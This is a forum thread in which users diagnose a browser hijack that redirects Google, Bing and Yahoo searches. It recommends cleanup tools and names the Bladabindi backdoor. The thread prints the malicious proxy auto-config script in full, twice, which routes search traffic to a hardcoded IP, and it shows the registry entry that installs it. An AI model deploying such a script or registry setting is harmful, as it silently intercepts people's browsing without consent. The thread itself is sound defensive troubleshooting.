Google redirection localhost.world

You should try Roguekiller too.

Delibrythe said:

Bonjour Flavien! :)

Have you tried ZHPCleaner? I highly recommend it. http://nicolascoolman.com/download/zhpcleaner/

Had same issues, blocked 69.197.188.122 in firewall, and ran ZHPCleaner; seems to have done the trick so far.

This was the content of the localhost.world file:

Code:

function FindProxyForURL(url, host) {

     if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; 
    if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484";    

    ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" }
    

    gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" }

    ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" }

    gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    return "DIRECT";

}

BTW; I also updated the firmware for my Asus-router...

Delibrythe said:

Pas de problème I hope it works for you!

After using almost all antivirus, spyware and malware removing programs and crashing one computer, I found out a work around.
And that is to delete the infected account and start a new account.

nakiel said:

Had same issues, blocked 69.197.188.122 in firewall, and ran ZHPCleaner; seems to have done the trick so far.

This was the content of the localhost.world file:

Code:

function FindProxyForURL(url, host) {

     if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; 
    if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484";    

    ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" }
    

    gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" }

    ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" }

    gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" }

    
    return "DIRECT";

}

BTW; I also updated the firmware for my Asus-router...

Having same issue. Did it come back for you? It just came back for me, I saw in proxy settings that localworld was setup again. I ran ZHPCleaner and fixed everything a couple of days ago but it didn't stick.

BTW the virus that caused this for me is Backdoor:MSIL/Bladabindi -- this is a pretty annoying virus. Windows Defender caught it immediately but I guess there are still traces left. I ran everything recommended in this thread (Rogue killer, TDS killer, Eset online scan, ZHP cleaner, MBAR)

It came back! Currently been testing "HitmanPro" for a couple of days; no relapse yet...

Found this in registry:

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"="http://localhost.world/localhost.host"

nakiel said:

It came back! Currently been testing "HitmanPro" for a couple of days; no relapse yet...

Found this in registry:

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"="http://localhost.world/localhost.host"

Thanks! I scanned w/ HitmanPro and it found nothing. I did find that registry key though. I think that was the last trace of this virus (hopefully)

simrick said:

Might want to consider changing your passwords...

simrick said:

MSILBladabindi

Yeah I thought about that.. but Windows Defender found the virus as soon as I opened the file and immediately quarantined it, so I really don't think it had time to do anything except create this annoying proxy which just redirects google to this IP. I do not think (at least hopefully) the backdoor was active at any point. Thanks though